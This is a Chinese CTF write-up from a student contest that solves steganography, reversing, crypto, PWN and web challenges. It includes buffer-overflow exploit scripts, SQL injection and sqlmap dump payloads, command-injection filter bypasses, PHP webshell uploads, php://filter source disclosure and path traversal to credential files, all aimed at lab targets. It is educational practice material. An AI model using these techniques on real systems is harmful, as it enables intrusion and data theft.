一、MISC(14/14)
(1)南无阿弥陀佛
使用010打开文件,由于是伪加密,修改General purpose bit flag为00,压缩包文件头和内部的文件的文件头都要改。
ZIP文件构成
Offset Bytes Description 译 0 4 Central directory file header signature = 0x02014b50 核心目录文件 header 标识 =(0x02014b50) 4 2 Version made by 压缩所用的 pkware 版本 6 2 Version needed to extract (minimum) 解压所需 pkware 的最低版本 8 2 General purpose bit flag 通用位标记伪加密 10 2 Compression method 压缩方法 12 2 File last modification time 文件最后修改时间 14 2 File last modification date 文件最后修改日期 16 4 CRC-32 CRC-32 校验码 20 4 Compressed size 压缩后的大小 24 4 Uncompressed size 未压缩的大小 28 2 File name length (n) 文件名长度 30 2 Extra field length (m) 扩展域长度 32 2 File comment length (k) 文件注释长度 34 2 Disk number where file starts 文件开始位置的磁盘编号 36 2 Internal file attributes 内部文件属性 38 4 External file attributes 外部文件属性 42 4 relative offset of local header 本地文件头的相对位移 46 n File name 目录文件名 46+n m Extra field 扩展域 46+n+m k File comment 文件注释内容

改完后打开文本,发现使用了与佛论禅密码,使用BugKu的工具解密即可

(2)蜡笔小新被鲨鱼制裁
下载附件后看到一个.pcapng
的文件,用wireshark打开它

PCAP文件
PCAPNG 文件大多属于 The Wireshark team 的 Wireshark。 PCAPNG 是一种用于将捕获的网络数据包跟踪记录到文件的格式。它被设计为 tcpdump 和其他使用 libpcap 库的软件使用的原始 PCAP 格式的可扩展继承者.目前,只有 Wireshark 可以读取和写入 PCAPNG 文件,而 libpcap (以及使用它的软件)只能读取其中一些文件。有些时候会遇到损坏的文件,有些可以用
pcapfix
修复。
打开后可以看到一条条的流量记录,不同颜色代表了不同协议的流量,我们可以借助Protocol History(协议分级)
来确认主要方向,

例如在本题中,打开协议分级可以看出TCP协议占了绝大部分(HTTP也是基于TCP),所以我们先从HTTP协议方向入手

导出HTTP对象,我们可以看出,主机名,字节大小以及文件名。从本题按时间的请求排序来看,应该是对一个网页进行了爆破操作,拿到密码后得到了shell,那么flag大概是在请求shell这几步中。

最终可以在最后一个对shell的请求中找到flag

但是不同题目情况可能不同,也有可能最后的flag是使用FTP协议传输的,再具体分析。
(3)所见不一定为实
用010打开后一眼就能看出这是一个PNG文件

修改文件后缀名为PNG打开图片即可得到flag

(4)猫猫虫
附件是一个GIF动图,但是好像有什么东西一闪而过,使用Stegsolve逐帧分析(基于java),在第11帧即可找到flag

但是那九个竖线竟然长短不同,长的是小写的L,短的是大写的i(这谁看得出来!?)
(5)残缺的二维码


我们打开题目,很明显是定位符被抠了,无论用什么工具,给他加上去,扫描后即可获取flag

再用BASE64解码
(6)乌萨奇
乌萨奇
乌萨奇Usagi(うさぎ),是漫画《Chiikawa》及其衍生作品中的角色,由日本漫画家Nagano创作。 2022年被动画化后,由小泽亚李配音。 乌萨奇是一只黄色的兔子,外表呆萌可爱,有着吃货属性。 出场总是伴随着魔性的怪叫声,智力高、战斗力高、心理素质强大,总会在朋友遇到危险时挺身而出,提供帮助。 乌萨奇有着高超的技能,如除草、弹吉他、讨伐、料理和捕鱼等。
这题肯定是师姐出的哈

打开图片,果然没那么简单,提示是EXIF信息,我们使用EXIF查看器即可找到flag

再使用BSAE64解码即可

(7)美丽的小姐我叫Bond,GGBond~
题目也提示了是盲水印,使用盲水印工具复原即可

盲水印
盲水印算法的基本原理是将数字水印嵌入到数字媒体的频域或空域中,使得数字水印能够在不影响原始媒体质量的情况下被提取出来。
(8)师兄看你找flag
打开附件发现是一个docx文档,docx的本质是一个压缩包,为了避免隐藏了什么图片,我们先打开看看,在media文件夹中存放这文档的图片文件

并没有隐藏图片,打开文档看看,会不会是利用文字与背景同色时不可见的原理来隐藏
直接Ctrl A后改文字颜色,flag就出来了

(9)想看zzc师兄的帅照吗

题目也提示了,可能是图片的宽高被修改,而且题目也给了参考图片,那我们直接把flag图的宽高修改为和参考图相同

修改后打开,即可看到flag

(10)简单的社工
用图片搜索,不管是用谷歌还是百度都显示是大本钟,但其实是红河州的开远钟楼,其实右下角有一个标识牌,上面的中文已经暴露了这不是大本钟,然后使用坐标拾取系统拿出坐标,再进行md5加密即可

(11)这个demo好听吗
打开文件,key使用了社会主义核心价值观加密,在BugKu解密即可,得到key后,使用MP3Stego进行解密
用法
./Decode.exe -X -P 密码 文件名
然后在同目录下就可以看到提取出来的文件了

(12)似曾相识的密码
题目也提示了先用ARCHPR爆破4位纯数字密码,得到密码是8080

然后使用kali里自带的foremost工具,分离出一个音频文件

用法
foremost 待分离文件绝对路径 -o 输出文件夹绝对路径
这个音频一听就是一个莫斯电码,反正听是不可能自己听的(也听不出来),这里使用在线工具提取
https://morsefm.com 100分换来的,心疼,而且火狐浏览器用不了,换一个浏览器,点击DeCode即可获取flag
(13)你小子一定行!!!
打开照片属性查看,可以发现有一行UUencode编码,解密即可得到flag


(14)你能get到师姐的忧伤吗
Oursecret项目简介
OurSecret 是一款专为那些寻求高度文件安全性的用户设计的强大工具。它独树一帜的功能在于能够将你的敏感或重要文件巧妙地隐藏于日常的电脑文件内,诸如图片、视频或任意文档之中。这一创新技术使得你的私人资料仿佛被巧妙伪装在一个公开的“保险箱”里,而这个“保险箱”的钥匙——密码,仅由你一人掌握。确保了即便在非私密环境下,你的数据也得到最坚实的保护。
先使用010打开文件,可以看到文件开头有一个大概是password:YUNXI2024
的东西,是某个东西的密码,我们打开oursecret,然后使用密码解密

输入密码后提取出一张jpg格式的图片

然后使用foremost分离出隐藏文件,得到一个PNG文件,即是flag

二、Re(6/7)
(1)蜡笔小新师兄的诱惑
我们下载附件后发现是一个程序,用ida64反编译后即可得到flag

(2)云曦欢迎你!
a.直接产看十六进制编码
用010打开附件,Ctrl+f寻找Yunxi即可

b.使用onlydbg进行动态调试
这里的onlydbg用来调试程序的。我们打开程序后需要输入flag,那么我们输入flag后程序必定会与某个值进行对比,既然这样,我们就在该处设置断点,然后顺藤摸瓜找到那个值,我觉得大概是这种思路,吧。
首先使用中文搜索插件找到关键句

直接在判断语句断点,然后运行

我们可以看到FPU跳出了正确的flag
(3)re,从0开始的ctf世界
用ida64打开,看到代码caesarEncrypt
函数对处理后的 Buffer
中的字符串进行加密操作,加密的偏移量为 8
于是还原即可

(4)是兄弟就来逆我
编写一个脚本来还原flag,注意要先把字符串倒会来,这里使用我这样的定义函数,或者是直接在encode函数里使用text=''.join(reversed(变量))
都是一样的效果

注意,将0替换为e的规则一定要在把604替换为Yun的规则的下面,否则604中的0会被替换为e,导致6e4
无法被替换为Yun。同时由于9替换为1的规则在最前,虽然s对应rjz对应1229,但是9被换为了1,所以规则中也要改为1221
(5)address in the IDA 国家队

使用Exeinfo PE查看程序情况,发现用UPX加壳了,先脱壳

用法
./upx.exe -d 文件绝对路径
脱壳后用ida打开,大概是有这几步
- 声明了两个字符数组
Str1
和Str
,以及两个size_t
类型变量v6
、i
,用于后续存储数据和计数。 - 使用
scanf
从标准输入读取最长 259 个字符,存入Str
数组。 - 通过循环让
Str
数组中的每个字符与它的索引位置做按位异或运算,完成简易加密。 - 获取加密后
Str
字符串的长度,调用base64_encode
函数,将Str
按 Base64 编码规则编码,结果存入Str1
。 - 把编码后的
Str1
与预设的 Base64 编码字符串对比,若相同,输出byte_404165
字符串;不同则输出byte_404188
字符串。
找到BASE码表,先进行第一次解密


然后再写python脚本进行异或运算
s = "Ytl{m~65%98&vh|`=ee|9%$:(+g"
result = ""
for i in range(len(s)):
char = chr(ord(s[i]) ^ i)
result += char
print(result)
得到结果

(6)我心如铁,坚不可摧!!!!
依然使用ExeinfoPE 查看信息,依然是有UPX壳

脱壳后用ida查看,发现一个倒着的flag,反向输出即可


三、Crypto(9/9)
(1)不能再简单
打开文件,这明显是一个BASE编码,但是具体用的是哪个BASE编码还不知道,直接丢工具里看

只有BASE32有结果,再来一次BASE解码

看来是一次BASE32一次BASE64
(2)有趣的符号
打开附件,全都是Ook字符,看来又是一种自创的加密方法,直接打开的Ook解码工具,解码之后得到一串BrainFuck代码。
BrainFuck
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。

再把BrainFuck代码转换为文本即可。

(3)考考你
ASCII值 | 控制字符 | ASCII值 | 控制字符 | ASCII值 | 控制字符 | ASCII值 | 控制字符 |
0 | NUL | 32 | (space) | 64 | @ | 96 | 、 |
1 | SOH | 33 | ! | 65 | A | 97 | a |
2 | STX | 34 | ” | 66 | B | 98 | b |
3 | ETX | 35 | # | 67 | C | 99 | c |
4 | EOT | 36 | $ | 68 | D | 100 | d |
5 | ENQ | 37 | % | 69 | E | 101 | e |
6 | ACK | 38 | & | 70 | F | 102 | f |
7 | BEL | 39 | ‘ | 71 | G | 103 | g |
8 | BS | 40 | ( | 72 | H | 104 | h |
9 | HT | 41 | ) | 73 | I | 105 | i |
10 | LF | 42 | * | 74 | J | 106 | j |
11 | VT | 43 | + | 75 | K | 107 | k |
12 | FF | 44 | , | 76 | L | 108 | l |
13 | CR | 45 | – | 77 | M | 109 | m |
14 | SO | 46 | . | 78 | N | 110 | n |
15 | SI | 47 | / | 79 | O | 111 | o |
16 | DLE | 48 | 0 | 80 | P | 112 | p |
17 | DCI | 49 | 1 | 81 | Q | 113 | q |
18 | DC2 | 50 | 2 | 82 | R | 114 | r |
19 | DC3 | 51 | 3 | 83 | X | 115 | s |
20 | DC4 | 52 | 4 | 84 | T | 116 | t |
21 | NAK | 53 | 5 | 85 | U | 117 | u |
22 | SYN | 54 | 6 | 86 | V | 118 | v |
23 | TB | 55 | 7 | 87 | W | 119 | w |
24 | CAN | 56 | 8 | 88 | X | 120 | x |
25 | EM | 57 | 9 | 89 | Y | 121 | y |
26 | SUB | 58 | : | 90 | Z | 122 | z |
27 | ESC | 59 | ; | 91 | [ | 123 | { |
28 | FS | 60 | < | 92 | \ | 124 | | |
29 | GS | 61 | = | 93 | ] | 125 | } |
30 | RS | 62 | > | 94 | ^ | 126 | ~ |
31 | US | 63 | ? | 95 | — | 127 | DEL |
本题是凯撒变异密码,每一位的ASCII的值向前移动,位移的值与从左到右的位值保持一致(“{}” 不移动)
经过位移之后即可得到Yunxi{lovecode}
,全部使用MD5(32位小)进行加密后加上Yunxi{} 即可。
(4)Do you know XOR?
打开题目后看到是几层的XOR(异或)运算,逐层解密,顺序不要弄错:
a. 通过 KEY2_xor_KEY1
和 KEY1
计算 KEY2
b. 利用 KEY2
和 KEY2_xor_KEY3
计算 KEY3
c. 通过 FLAG_xor_KEY1_xor_KEY3_xor_KEY2
和 KEY1, KEY2, KEY3
还原 FLAG
from binascii import unhexlify, hexlify
KEY1 = unhexlify("a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313")
KEY2_xor_KEY1 = unhexlify("37dcb292030faa90d07eec17e3b1c6d8daf94c35d4c9191a5e1e")
KEY2_xor_KEY3 = unhexlify("c1545756687e7573db23aa1c3452a098b71a7fbf0fddddde5fc1")
FLAG_xor_KEY1_xor_KEY3_xor_KEY2 = unhexlify("9f3b9fa14fb7320ee78fadc6d9c7dde5")
KEY2 = bytes(a ^ b for a, b in zip(KEY1, KEY2_xor_KEY1))
KEY3 = bytes(a ^ b for a, b in zip(KEY2, KEY2_xor_KEY3))
FLAG = bytes(
a ^ b ^ c ^ d
for a, b, c, d in zip(KEY1, KEY2, KEY3, FLAG_xor_KEY1_xor_KEY3_xor_KEY2)
)
hexlify(FLAG).decode()
unhexlify,hexlify
在Python中,unhexlify函数是binascii模块的一部分,它用于将十六进制数据转换为二进制数据。这个函数接受一个包含十六进制数字的字节字符串作为输入,并返回相应的二进制数据。hexlify则是unhexlify的逆向函数。
虽然算出了结果,但是还是不太明白原理,以后再来看吧。
(5)Do you know RSA?
本题是简单的RSA题目,RSA题目的难点就在与如何将n分解为两个互素的因数p,q ,本题已经给出,于是我直接使用Python脚本
import gmpy2
from Crypto.Util.number import long_to_bytes
p=input("输入因数1")
q=input("输入因数2")
e=input("输入e值")
c =("输入密文")
n = q * p
d = gmpy2.invert(e, (p - 1) * (q - 1))
print("d=", d)
m = pow(c, d, n)
print(m)
print(long_to_bytes(m))
这样输入p,q和e值就能解出c
(6)haha是关键
我们打开附件,发现是一些不知道是什么的代码
T1S8D-4X^)K5;.#8P42X&-48L0YA0.$,E52PJ/40M)IE!+$8S43DM.4$M4ZE!
+.$,F03DJ15T*8`O`
`
题目提示了Vernam Cipher
吗即维吉尼亚密码
,使用工具解密,得到结果后,再进行UUencode进行两次解密即可得到flag

为了辨别CTF中的各种常见编码,这里引用一篇文章
(7)简单的RSA
本题涉及到RSA的公因数攻击,直接使用Python脚本解密了,此处特别鸣谢网执一区雷诺
,他提供了大部分脚本,我只是完善了输出部分

import math
import sympy
from Crypto.Util.number import long_to_bytes
def find_p(n_list):
p = math.gcd(n_list[0], n_list[1])
for n in n_list[2:]:
p = math.gcd(p, n)
return p
def find_q(p, n):
return n // p
def find_d(e, phi):
return pow(e, -1, phi)
def decrypt(c, d, n):
return pow(c, d, n)
# 给定的值
e = 65537
#公钥值,英文逗号隔开
n_list = [xxx,xxx]
p = find_p(n_list)
qs = [find_q(p, n) for n in n_list]
phi_n = (p-1)*(qs[0]-1)
d = find_d(e, phi_n)
#密文,之间间使用英文逗号隔开
c_list = [xxx,xxx]
m_list = [decrypt(c, d, n) for c, n in zip(c_list, n_list)]
# 将解密后的数值转换为字符串并输出
for m in m_list:
try:
message = long_to_bytes(m).decode('utf-8') # 尝试使用 UTF-8 解码
except UnicodeDecodeError:
message = long_to_bytes(m) # 如果解码失败,直接输出原始字节流
print(f"Decrypted message: {message}")
流程大概是
- 找到公因数 p
- 计算出 q 并验证 n=p×q
- 计算私钥 d
- 对密文 c 进行 RSA 解密,得到明文 m
- 将明文转换为字符串并输出
(8)babyRSA
低加密指数攻击
如果公钥中的加密指数e很小,但是模数n很大
由RSA加密公式:
C=Mᵉmod(n)
(C密文,M明文)则:
当Mᵉ < n 时,C = Mᵉ ,所以对C开方就能得到M
当Mᵉ> n 时,此时用爆破的方法
假设 Mᵉ ÷ n 的商为 k 余数为C,
则Mᵉ = kn + C,对K进行爆破,只要k满足 kn + C 能够开e次方就可以得明文
我们使用Python脚本来解决
from gmpy2 import iroot
import libnum
e = int(input('输入e'))
n = int(input('输入n'))
c = int(input('输入c'))
k = 0
while 1:
res = iroot(c+k*n,e)
if(res[1] == True):
print(libnum.n2s(int(res[0]))) #转为字符串
break
k=k+1
这样输入e,n,c值即可

(9)haha的rsa
首先了解中国剩余定理(CRT),可以参考这篇文章
假设 (≡在模运算中表示符号左右两边同余)

那么就有7个方程来解,我们直接定义一个函数来解决这个问题
def CRT(c, n):
N = reduce(lambda a, b: a * b, n)
x = 0
for ci, ni in zip(c, n):
Ni = N // ni
di = pow(Ni, -1, ni)
x += ci * Ni * di
return x % N
计算过程
(1) 计算 N
- 使用
reduce
函数计算所有模数 n1,n2,…,nk的乘积 N(2) 初始化 x
- 初始化结果 x为 0
(3) 遍历每个同余方程
- 遍历每个同余方程,其中 ci是余数,ni 是模数
(4) 计算 Ni
- 计算 Ni=N/ni,即除去 ni 后的乘积
(5) 计算 di
- 计算 Ni 在模 ni 下的乘法逆元 di,即满足 Ni⋅di≡1(modni) 的值
- 使用
pow
函数计算模逆。(6) 累加到 x
- 根据中国剩余定理的公式,将ci⋅Ni⋅di累加到 x
(7) 返回最终结果
- 返回 xmod N,确保结果在 [0,N−1]范围内
算出结果后对结果使用gmpy2
库开e次方,然后使用UTF-8字符集进行解码即可

四、PWN(4/5)
(1)what is nc?
使用netcat进行链接,在连接后即可得到flag。

(2)真正的签到题
我们下载附件并进行反汇编,可以得到

我们可以看出,如果我们输入的是ls命令,那么就会列出文件,如果我们输入的是69470,那么就会给出flag

(3)ez_pwn?
先了解一下pwntools的基本信息
GDB函数
在 C语言中,有三个函数可以用来在显示器上输出数据,它们分别是:
puts()
:只能输出字符串,并且输出结束后会自动换行putchar()
:只能输出单个字符printf()
:可以输出各种类型的数据在我们想查看某个变量时,我们是否要一个一个去输出,这显然太麻烦,所以GDB函数就是解决这类问题,进入GDB后即可查看各种程序数据,或者是其运行时产生的数据
GDB常用用法
首先,我们在编译的时候要加上 -g 参数,这样编译器才会在生成的 ELF 格式文件中加上一些必要的信息以供gdb进行识别和响应,这是使用gdb的前提:
gcc -o filename -g filename.c
然后,启用 gdb 进行调试,并传入参数 arglist:gdb --args filename arglist
使用 run 或者 start 命令可以在gdb里面让程序运行起来,其中 start 默认在main函数开头有个断点,让程序在 main 函数开头停下来;而 run 则会在遇到第一个手动设置的断点时才停下来:
start / run
gdb中最核心的部分之一就是打断点,我们可以使用 break 命令在任意想要让程序停下来的地方打断点,其中断点可以设置为函数名,也可以是指定的代码行:
break
break可以简写为b,其中funcName是想要断点的函数名,程序执行到funcName的时候会自动停下,lineNum是代码行号
b funcName
b lineNum
查看当前程序的所有断点信息
info b
通过 info b 可以查看到断点信息bID,使用delete删除某个断点
delete bID
关闭断点bID
disable bID
开启断点
enable bID
设置临时断点
bID tbreak
当程序执行到我们设置断点的地方然后停下来了,这个时候我们想要看看程序接下来是怎么变化的,可以使用 next / step命令。其中step和next都表示让程序单步执行一行代码,但是它们的主要区别在于如果下一行是函数调用的话,step会跳进函数里面继续执行,而next命令则直接执行完这个函数:next
可以简写为nstep
可以简写为s当我们使用step进入某个函数后,通过观察发现这个函数没啥问题,现在想要从这个函数跳出去,而这个函数里面有个循环了若干次的for/while语句,如果使用next命令单步执行到函数末尾的话就有点太慢了。此时可以使用
finish
命令直接执行完这个函数,返回到被调用的地方。
我们如果只是想观察程序中某个变量是怎么变化的,那么可以使用watch
命令,当被观察的值发生变化的时候,程序会自动打印出观察量变化前后的值。
watch var
# 观察变量 var
watch (var > 20)
# 当var的值大于20的时候,watch才会进行观察
当我们执行到某个断点时发现了异常值,那么这个异常值是怎么一步一步变成这样的呢?此时可以使用backtrace
命令查看函数调用栈,函数调用关系被压在数据结构栈中,当前函数在栈中的下标是 0,调用链往上的函数编号递增;然后搭配frame btID
命令可以进入函数调用栈中其他任意函数,backtrace
可以缩写为bt
使用info
命令可以查看局部变量、断点信息、线程信息、寄存器信息等…
info b
info locals
info threads
info registersquit
—— 退出gdb调试
打开附件,定位到0x4005BA
内存上的system函数可以帮助我们拿到shell,于是构造payload
address = 0x4005BA
payload=24*b'A'+p64(address)
使用24个A覆盖缓冲区,然后就可以拿到shell,但是这题不知道为什么,好像对context没有要求?
from pwn import *
url = remote("172.16.17.201",50050)
address = 0x4005BA
payload=24*b'A'+p64(address)
url.sendline(payload)
url.interactive()

(4)ez_pwn2?
这题和上一题考点差不多,只是为32位,打开附件定位到system内存位置

于是同样构造payload
address = 0x080491D9
payload=27*b'A'+p32(address)
只是由于是32位,所以使用的是p32将address转化为32位数字流
from pwn import *
url= remote("172.16.17.201",50123)
address = 0x080491D9
payload=27*b'A'+p32(address)
url.sendline(payload)
url.interactive()
运行即可得到flag

五、Web(13/13)
(1)Blank_Page
查看源码,但是Ctrl U和F12都被禁用了,我们有两种方法,一种是直接在URL前加上view-source:
另一种是禁用JavaScript,因为禁用诸如按键和复制、粘贴等功能都是靠js代码实现的,或者是直接从浏览器的菜单里打开开发者工具

(2)哆啦A梦的数学题
打开页面,是一个计算器,看起来是要输入结果,但是输入结果后按不动按钮,我们打开源代码,检查元素,可以看到按钮一项中有一个disabled=

这是一个禁用表单元素的参数,我们把它删除即可

(3)ez_upload1
打开环境后,是一个上传文件的界面,我们直接上传一句话木马,上传成功后使用蚁剑链接,在根目录下即可获取Flag

(4)web签到
仔细观察PHP代码可以看出,要以GET方式传入两个变量Yunxi1
和Yunxi2
,同时还要以POST方式传入参数W3ll
,我们使用HackBar

即可得到flag

(5)ez_upload2
打开网页,也是上传文件,我们尝试直接,上传一句话木马,但是行不通

我们就按照提示进行抓包,并比较上传图片和PHP文件的差异


发现了区别后,我们使用Bp拦截上传请求并修改这个值从而实现成功上传一句话木马

蚁剑链接后即可在根目录下找到flag

(6)ezrce1
打开网页可以看到,本题过滤了system,php且不区分大小写,所以我们换用passthru
函数,直接使用ls发现本级目录下只有index.php

我们直接返回到根目录,在ls一下,发现目标,直接cat

得到flag

(7)read
Linux系统中有很多敏感文件,这里仅列出几个我们尝试读取/etc/passwd
发现可以成功读取
/etc/passwd
存储系统用户账户信息(不含密码)。/etc/shadow
存储加密的用户密码信息,权限需严格限制。/etc/my.cnf
MySQL/MariaDB 的主配置文件。/etc/httpd/conf/httpd.conf
Apache 的主配置文件。

该文件每一行记录一个用户,含义为
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
我们发现一个nologin的用户,其目录是一个特定的文件,我们看看是什么,我们跳过他的上级目录,用相对路径./zzc.php
直接读取它,因为passwd文件中的路径可能也不是绝对路径

我们用相同方法读取secret.php,即可得到flag

(8)weak passwd
使用Bp抓取登录请求包,可以看到账号和密码,再进行爆破

可以得到密码

再登录,即可获取flag

(9)2048game
打开网页观察网页源码,通过这三段代码我们可以看出基本原理



当分数score大于specialScoreThreshold时将会返回flag,而且网页还会以GET的方式从网页获取score这个变量,既然如此我们直接提供score,然后我们就得到了flag,解码即可

(10)admin
本题是sql注入,sql依据注入点类型,分为

a. sqlmap自动化注入
我们随便注册一个用户,在登录并点击获取flag时可以看到多了一个参数id
,开始测试注入类型,加个单引号,报错了,于是可以判断其为字符型注入

使用sqlmap工具,打开bp抓包获取cookies,然后先获取表名
sqlmap -u URL --cookie 'cookie' --tables
注意复制cookie的时候PHPESSID也要复制,然后就获取到了表名

这个名字绝对是管理员,那么找找密码,然后我们查询这个password的值
sqlmap -u 'URL' --cookie 'cookie' -T '表名' -C '栏名' --dump

登录一下就进来了

b. 手注
首先要知道SQL的基本语法

一些最重要的 SQL 命令
- SELECT – 从数据库中提取数据
- UPDATE – 更新数据库中的数据
- DELETE – 从数据库中删除数据
- INSERT INTO – 向数据库中插入新数据
- CREATE DATABASE – 创建新数据库
- ALTER DATABASE – 修改数据库
- CREATE TABLE – 创建新表
- ALTER TABLE – 变更(改变)数据库表
- DROP TABLE – 删除表
- CREATE INDEX – 创建索引(搜索键)
- DROP INDEX – 删除索引
本题我们已经找到了注入点,然后我们就要摸清数据库结构,才能查找flag,一个数据库由表Table
,列Column
还有行Row
,以及不咋常见的主键Primary Key
,那么我们就逐步还原这个数据库结构
首先,查看数据库叫什么名字
-1' union select database()--+
那么可以看到数据库是叫TGlu

然后我们查表名
-1' union select group_concat(table_name) from information_schema.tables where table_schema='TGlu'--+
可以看到有两个表

然后我们再查看列
-1' union select group_concat(column_name) from information_schema.columns wheretable_name='User'--+
可以看到有两个变量

最后查password的值
-1' union select group_concat(username,'.',password) from User--+

同样进行登录即可

(11)Rce2
打开环境,观察代码发现,该页面关闭了报错,而且会获取一个变量yunxi
,使用正则表达式过滤了/flag
,system
,cat
以及空格
,对于第一个,使用反斜杠绕过即可,第二个使用passthru代替,第三个同样可以使用反斜杠绕过

先看看有什么文件,使用命令passthru('ls');
发现该级目录下只有一个index.php,看来flag怕是在根目录,于是我们使用passthru('cd${IFS}/;ls');
查看根目录

发现了flag,直接cat即可passthru('cd${IFS}/;tac${IFS}fl\ag');

(12)图片库
打开网页发现可以上传文件,题目也声明了是文件包含漏洞,我们上传文件后却找不到路径,于是我们使用PHP伪协议,参考
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了
我么先使用php://filter/convert.base64-encode/resource=文件路径
来读取文件源码

解码得到


于是我们可以知道文件上传在哪了,尝试用蚁剑连接,文件名尽量简单否则不好进行加密,例如我的一句话木马名称1.php
那么文件名就是MQ==.php
(不要用随波逐流,太坑了,用在线的),蚁剑链接即可

flag在根目录下

(13)穿..穿..穿..
打开网页,看到一个可以包含文件的界面,于是我们尝试使用目录穿越查看敏感文件


我们看见了capoo.php,我们尝试去读取


既然在同级目录,那么我们直接去找


最后在源码中即可找到flag